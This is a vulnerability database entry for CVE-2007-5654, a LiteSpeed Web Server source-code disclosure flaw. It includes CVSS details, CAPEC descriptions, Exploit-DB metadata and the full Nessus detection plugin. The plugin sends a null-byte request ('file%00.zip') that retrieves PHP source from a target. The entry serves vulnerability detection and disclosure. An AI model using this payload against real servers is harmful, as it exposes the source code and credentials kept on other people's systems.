Vulnerabilities > CVE-2007-5654 - Information Exposure vulnerability in Litespeed Technologies Litespeed web Server

047910
CVSS 5.0 - MEDIUM
Attack vector
NETWORK
Attack complexity
LOW
Privileges required
NONE
Confidentiality impact
PARTIAL
Integrity impact
NONE
Availability impact
NONE
network
low complexity
litespeed-technologies
CWE-200
nessus
exploit available

Summary

LiteSpeed Web Server before 3.2.4 allows remote attackers to trigger use of an arbitrary MIME type for a file via a "%00." sequence followed by a new extension, as demonstrated by reading PHP source code via requests for .php%00.txt files, aka "Mime Type Injection."

Vulnerable Configurations

Part Description Count
Application
Litespeed_Technologies
1

Common Weakness Enumeration (CWE)

Common Attack Pattern Enumeration and Classification (CAPEC)

  • Subverting Environment Variable Values
    The attacker directly or indirectly modifies environment variables used by or controlling the target software. The attacker's goal is to cause the target software to deviate from its expected operation in a manner that benefits the attacker.
  • Footprinting
    An attacker engages in probing and exploration activity to identify constituents and properties of the target. Footprinting is a general term to describe a variety of information gathering techniques, often used by attackers in preparation for some attack. It consists of using tools to learn as much as possible about the composition, configuration, and security mechanisms of the targeted application, system or network. Information that might be collected during a footprinting effort could include open ports, applications and their versions, network topology, and similar information. While footprinting is not intended to be damaging (although certain activities, such as network scans, can sometimes cause disruptions to vulnerable applications inadvertently) it may often pave the way for more damaging attacks.
  • Exploiting Trust in Client (aka Make the Client Invisible)
    An attack of this type exploits a programs' vulnerabilities in client/server communication channel authentication and data integrity. It leverages the implicit trust a server places in the client, or more importantly, that which the server believes is the client. An attacker executes this type of attack by placing themselves in the communication channel between client and server such that communication directly to the server is possible where the server believes it is communicating only with a valid client. There are numerous variations of this type of attack.
  • Browser Fingerprinting
    An attacker carefully crafts small snippets of Java Script to efficiently detect the type of browser the potential victim is using. Many web-based attacks need prior knowledge of the web browser including the version of browser to ensure successful exploitation of a vulnerability. Having this knowledge allows an attacker to target the victim with attacks that specifically exploit known or zero day weaknesses in the type and version of the browser used by the victim. Automating this process via Java Script as a part of the same delivery system used to exploit the browser is considered more efficient as the attacker can supply a browser fingerprinting method and integrate it with exploit code, all contained in Java Script and in response to the same web page request by the browser.
  • Session Credential Falsification through Prediction
    This attack targets predictable session ID in order to gain privileges. The attacker can predict the session ID used during a transaction to perform spoofing and session hijacking.

Exploit-Db

descriptionLiteSpeed Web Server <= 3.2.3 Remote Source Code Disclosure Vuln. CVE-2007-5654. Remote exploits for multiple platform
fileexploits/multiple/remote/4556.txt
idEDB-ID:4556
last seen2016-01-31
modified2007-10-22
platformmultiple
port
published2007-10-22
reporterTr3mbl3r
sourcehttps://www.exploit-db.com/download/4556/
titleLiteSpeed Web Server <= 3.2.3 - Remote Source Code Disclosure Vuln
typeremote

Nessus

NASL familyCGI abuses
NASL idLITESPEED_WEB_SERVER_NULL_SOURCE_DISCLOSURE.NASL
descriptionThe remote host is running LiteSpeed Web Server, a high-performance web server. The version of LiteSpeed Web Server installed on the remote host allows an attacker to view the contents of files due to a flaw in its handling of MIME types. By passing in a filename followed by a null byte and an extension, such as
last seen2020-06-01
modified2020-06-02
plugin id27523
published2007-10-23
reporterThis script is Copyright (C) 2007-2018 Tenable Network Security, Inc.
sourcehttps://www.tenable.com/plugins/nessus/27523
titleLiteSpeed Web Server MIME Type Injection Null Byte Script Source Code Disclosure
code
#
# (C) Tenable Network Security, Inc.
#

include("compat.inc");

if (description)
{
  script_id(27523);
  script_version("1.19");

  script_cve_id("CVE-2007-5654");
  script_bugtraq_id(26163);
  script_xref(name:"EDB-ID", value:"4556");

  script_name(english:"LiteSpeed Web Server MIME Type Injection Null Byte Script Source Code Disclosure");
  script_summary(english:"Tries to retrieve script source code using LiteSpeed");
 
 script_set_attribute(attribute:"synopsis", value:
"The remote web server is affected by an information disclosure
vulnerability." );
 script_set_attribute(attribute:"description", value:
"The remote host is running LiteSpeed Web Server, a high-performance
web server.

The version of LiteSpeed Web Server installed on the remote host
allows an attacker to view the contents of files due to a flaw in its
handling of MIME types.  By passing in a filename followed by a null
byte and an extension, such as '.txt', a remote attacker can may be
able to uncover sensitive information, such as credentials and host
names contained in scripts, configuration files, etc." );
 script_set_attribute(attribute:"see_also", value:"https://www.litespeedtech.com/support/forum/threads/litespeed-3-2-4-has-been-release-to-address-a-security-flaw.1445/" );
 script_set_attribute(attribute:"see_also", value:"http://www.nessus.org/u?1009f250" );
 script_set_attribute(attribute:"solution", value:
"Upgrade to LiteSpeed Web Server 3.2.4 or later." );
 script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:P/I:N/A:N");
 script_set_cvss_temporal_vector("CVSS2#E:POC/RL:OF/RC:C");
 script_set_attribute(attribute:"exploitability_ease", value:"Exploits are available");
 script_set_attribute(attribute:"exploit_available", value:"true");
 script_set_attribute(attribute:"exploit_framework_canvas", value:"true");
 script_set_attribute(attribute:"canvas_package", value:'CANVAS');
 script_cwe_id(200);
 script_set_attribute(attribute:"plugin_publication_date", value: "2007/10/23");
 script_cvs_date("Date: 2018/11/15 20:50:17");
 script_set_attribute(attribute:"plugin_type", value:"remote");
 script_set_attribute(attribute:"exploited_by_nessus", value:"true");
  script_end_attributes();


  script_category(ACT_ATTACK);
  script_family(english:"CGI abuses");

  script_copyright(english:"This script is Copyright (C) 2007-2018 Tenable Network Security, Inc.");

  script_dependencies("http_version.nasl", "webmirror.nasl");
  script_require_ports("Services/www", 8088);

  exit(0);
}


include("global_settings.inc");
include("misc_func.inc");
include("http.inc");

port = get_http_port(default:8088);

# Make sure the banner is from LiteSpeed.
banner = get_http_banner(port:port);
if ("LiteSpeed" >!< banner ) exit(0, "LiteSpeed is not running on port "+port);


# Check whether it's vulnerable.
max_files = 10;
files = get_kb_list(string("www/", port, "/content/extensions/php"));
if (isnull(files)) files = make_list("/index.php", "/phpinfo.php");

n = 0;
foreach file (files)
{
  # Try to get the source.
  w = http_send_recv3(method: "GET", item:string(file, "%00.zip"), port:port);
  if (isnull(w)) exit(1, "The web server on port "+port+" did not answer");
  res = strcat(w[0], w[1], '\r\n', w[2]);

  # If it looks like the source code...
  if (
    file =~ "\.php$" && "<?" >< res && "?>" >< res && "Content-Type: application/zip" >< res
  )
  {
    # Now run the script.
    w = http_send_recv3(method:"GET", item:file, port:port);
    if (isnull(w)) exit(1, "The web server on port "+port+" did not answer");
    res2 = w[2];

    # There's a problem if the response does not look like source code this time.
    if (file =~ "\.php$" && "<?" >!< res2 && "?>" >!< res2)
    {
      res = strstr(res, '\n<');
      report = string(
        "Here is the source that Nessus was able to retrieve for the URL \n",
        "'", file, "' :\n",
        "\n",
        res
      );
      security_warning(port:port, extra:report); 
      exit(0);
    }
  }
  if (n++ > max_files) exit(0);
}